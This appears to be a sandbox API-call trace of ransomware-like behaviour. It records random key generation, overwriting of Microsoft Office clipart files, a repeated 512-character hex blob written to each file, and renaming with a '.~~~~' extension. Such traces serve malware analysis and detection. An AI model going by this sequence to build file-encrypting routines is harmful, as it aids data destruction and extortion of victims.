	[0112.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.402] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23239200901) returned 1
	[0112.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xac986ab0, dwHighDateTime=0x1d60e1e)) 
	[0112.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282ff40
	[0112.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282ff40 | out: hHeap=0x300000) returned 1
	[0112.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832388
	[0112.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.403] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.403] GetLastError () returned 0x0
	[0112.403] GetLastError () returned 0x0
	[0112.403] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.403] GetLastError () returned 0x0
	[0112.403] GetLastError () returned 0x0
	[0112.406] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff226, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.406] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xdda, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0xdda, lpOverlapped=0x0) returned 1
	[0112.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.408] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.408] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.408] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.408] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.408] CloseHandle (hObject=0x144) returned 1
	[0112.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cb678
	[0112.408] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.~~~~")) returned 1
	[0112.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cb678 | out: hHeap=0x300000) returned 1
	[0112.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.410] GetLastError () returned 0x0
	[0112.410] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.411] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.411] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.411] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23240154016) returned 1
	[0112.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xac9acc10, dwHighDateTime=0x1d60e1e)) 
	[0112.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282ff78
	[0112.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282ff78 | out: hHeap=0x300000) returned 1
	[0112.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cb678
	[0112.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832420
	[0112.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cb678 | out: hHeap=0x300000) returned 1
	[0112.412] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.413] GetLastError () returned 0x0
	[0112.413] GetLastError () returned 0x0
	[0112.413] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.413] GetLastError () returned 0x0
	[0112.413] GetLastError () returned 0x0
	[0112.429] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffdc2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.429] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x23d4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x23d4, lpOverlapped=0x0) returned 1
	[0112.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.431] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.431] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.431] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.431] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.431] CloseHandle (hObject=0x144) returned 1
	[0112.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.~~~~")) returned 1
	[0112.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.470] GetLastError () returned 0x0
	[0112.470] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.471] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.471] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.472] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23246166475) returned 1
	[0112.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaca45190, dwHighDateTime=0x1d60e1e)) 
	[0112.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830058
	[0112.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830058 | out: hHeap=0x300000) returned 1
	[0112.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28324b8
	[0112.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.472] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.473] GetLastError () returned 0x0
	[0112.473] GetLastError () returned 0x0
	[0112.473] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.473] GetLastError () returned 0x0
	[0112.473] GetLastError () returned 0x0
	[0112.476] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff9d4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.476] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x62b2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x62b2, lpOverlapped=0x0) returned 1
	[0112.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.478] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.478] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.478] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.478] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.479] CloseHandle (hObject=0x144) returned 1
	[0112.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.479] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.~~~~")) returned 1
	[0112.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.481] GetLastError () returned 0x0
	[0112.482] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.483] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0112.483] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0112.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.484] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23247387974) returned 1
	[0112.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaca45190, dwHighDateTime=0x1d60e1e)) 
	[0112.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830090
	[0112.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0112.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830090 | out: hHeap=0x300000) returned 1
	[0112.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0112.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832718
	[0112.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.485] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.485] GetLastError () returned 0x0
	[0112.485] GetLastError () returned 0x0
	[0112.485] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.485] GetLastError () returned 0x0
	[0112.485] GetLastError () returned 0x0
	[0112.489] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff8720, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.489] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x78e0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x78e0, lpOverlapped=0x0) returned 1
	[0112.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.491] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.491] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.491] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.491] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.491] CloseHandle (hObject=0x144) returned 1
	[0112.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.492] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.~~~~")) returned 1
	[0112.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.493] GetLastError () returned 0x0
	[0112.493] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0112.495] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0112.495] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0112.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0112.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.495] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23248520639) returned 1
	[0112.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaca6b2f0, dwHighDateTime=0x1d60e1e)) 
	[0112.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28300c8
	[0112.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28300c8 | out: hHeap=0x300000) returned 1
	[0112.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28327b0
	[0112.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.496] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.496] GetLastError () returned 0x0
	[0112.496] GetLastError () returned 0x0
	[0112.496] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.497] GetLastError () returned 0x0
	[0112.497] GetLastError () returned 0x0
	[0112.518] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff90da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.518] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6f26, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x6f26, lpOverlapped=0x0) returned 1
	[0112.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.525] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.525] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.525] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.525] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.525] CloseHandle (hObject=0x144) returned 1
	[0112.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.529] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.~~~~")) returned 1
	[0112.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.532] GetLastError () returned 0x0
	[0112.532] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
